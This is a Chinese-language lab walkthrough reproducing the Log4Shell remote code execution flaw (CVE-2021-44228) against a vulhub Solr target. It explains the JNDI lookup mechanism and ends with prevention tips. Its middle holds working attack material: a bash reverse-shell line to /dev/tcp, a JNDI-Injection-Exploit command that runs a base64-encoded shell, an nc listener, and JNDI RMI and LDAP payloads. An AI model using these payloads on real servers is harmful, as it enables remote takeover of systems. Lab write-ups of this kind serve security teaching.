漏洞影响
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。黑客可以恶意构造特殊数据请求包payload触发漏洞,从而可以在目标服务器上执行任意代码,导致服务器被控制。
漏洞编号
CVE-2021-44228
漏洞环境
受害机:centos7 攻击机:kali
漏洞原理
当日志中包含 ${},lookup就会去解析括号里面的内容,如:攻击payload:${jndi:rmi:192.168.96.1:1099/wqiyua} ,当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞
注:如何检测漏洞?
首先在dnslog平台获取一个子域名,尝试构造payload,插入请求数据包${jndi:ldap://bypass.fzuqgl.ceye.io}通过dnslog平台是否收到请求,初步判断目标环境是否存在漏洞
漏洞复现
第一步、我们进入vulhub靶场进入相对应的漏洞环境目录
cd /vulhub-master/log4j/CVE-2021-4428
docker-compose up -d
使用命令启动环境后,页面显示done表示环境启动成功
第二步、我们查看IP地址和漏洞开启的端口号
ifconfig
docker ps
第三步、我们打开浏览器访问IP加端口号,正确网页看下面这个张图片
第四步、开始漏洞利用,首先我们需要构造反弹shell的语句
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
在线编码网站:Base64 编码/解码 | 菜鸟工具 (jyshare.com)
第五步、我们将shell语句进行编码后,进行构造Payload ,这里需要用到JIND工具
JIND工具下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码后的shell}|{base64,-d}|{bash,-i}" -A 反弹shell的IP地址
-C 后面的参数是要执行的命令以及编码方式,-A后面就是对应的IP地址
第六步、可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个的作用就是帮我们生成了恶意的代码,并且生成了相对应的URL,然后我们就可以回到靶场网页进行JNDI注入
注:在注入之前我们需要在kali再开一个终端,监控我们反弹shell的端口,这里是 9999
nc -lvvp 9999
开启监听后返回网页,构造payload
/solr/admin/cores?action=${jndi:rmi://192.168.44.180:1099/flppxx}
第七步、在网页执行后我们返回kali会发现网页已经被重定向到了我们的恶意地址
这边看到有请求后,我们看nc监听的终端会发现shell已经上线
以上就是Log4j2的漏洞复现全过程 ,谢谢大家的观看!!!
漏洞预防措施
1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.禁止lookup下载远程文件(命名应用)
3.禁止log4j的应用去连接外网
4.禁止log4j使用lookup方法
5.从log4j 的jar包总删除lookup(2.10以下版本)